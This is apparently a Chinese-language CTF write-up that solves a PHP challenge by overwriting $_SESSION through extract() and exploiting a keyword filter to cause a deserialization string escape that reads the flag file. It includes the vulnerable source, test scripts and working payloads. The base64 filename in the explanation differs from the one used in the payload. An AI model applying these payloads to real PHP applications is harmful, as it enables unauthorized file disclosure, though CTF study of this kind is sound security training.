期末复习累了,做道CTF题目放松一下,做完就复习信安数学
打开后看到源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
代码很长但很简单,根据提示先看看phpinfo,发现
有可能flag就在这里面。那肯定要通过这一句来获取
file_get_contents(base64_decode($userinfo['img']));
看下img从哪里来
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
有个sha1和base64_encode,几乎不可能将img的值变成d0g3_flag.php
将目光锁定到fiter函数,这里存在字符减少的情况,可能会导致反序列化字符串逃逸
$serialize_info = filter(serialize($_SESSION));
这个$_SESSION的值我们可以通过变量覆盖来控制
测试:
<?php
error_reporting(0);
session_start();
$_SESSION["session1"]='a';
$_SESSION['session2']='b';
extract($_POST);
var_dump($_SESSION);
//$_SESSION['session3']='c';
//var_dump($_session)
?>
payload:_SESSION[abc]=123
明显前面两个session值被覆盖了,没有显示,只显示了session3。
那在这道题,$_SESSION就只有两个值,一个是我们POST的值,一个是img。
所以可以通过我们POST的值来造成反序列化逃逸而不反序列化真正的img。
如何构造呢?
base64_encode(‘d0g3_flag.php’)=ZDBnM19mbGFnLnBocA==
base64_encode(‘guest_img.png’)=Z3Vlc3RfaW1nLnBuZw==
要序列化的格式大致是这种
serialize(array('abc'=>';s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}','img'=>'Z3Vlc3RfaW1nLnBuZw=='));
得到:
a:2:{s:3:"abc";s:53:";s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
其中abc可控,要达到逃逸的目的,'abc’的字符个数应该等于";s:53:,为7
此时的";s:53:被当作数组的key值进行反序列化,value值为7t0ken
所以abc可以等于phpflag,序列化的结果应该为
a:2:{s:7:"phpflag";s:53:";s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
经过filter函数后,最终被反序列化的序列为:
a:2:{s:7:"";s:53:";s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
可以看到这一串
a:2:{s:7:"";s:53:";s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
恰好可以反序列化,而后面的字符被当作垃圾字符不做处理,造成反序列化逃逸。
测试:
<?php
error_reporting(0);
$a='a:2:{s:7:"";s:53:";s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}';
$b=unserialize($a);
echo base64_decode($b['img']);
?>
回显成功
payload:
?f=show_image
_SESSION[phpflag]=;s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
查看源码
base64_encode(’/d0g3_fllllllag’)=L2QwZzNfZmxsbGxsbGFn
恰好二十位
_SESSION[phpflag]=;s:6:"7t0ken";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
拿到flag
好了复习信安数学去了,要挂了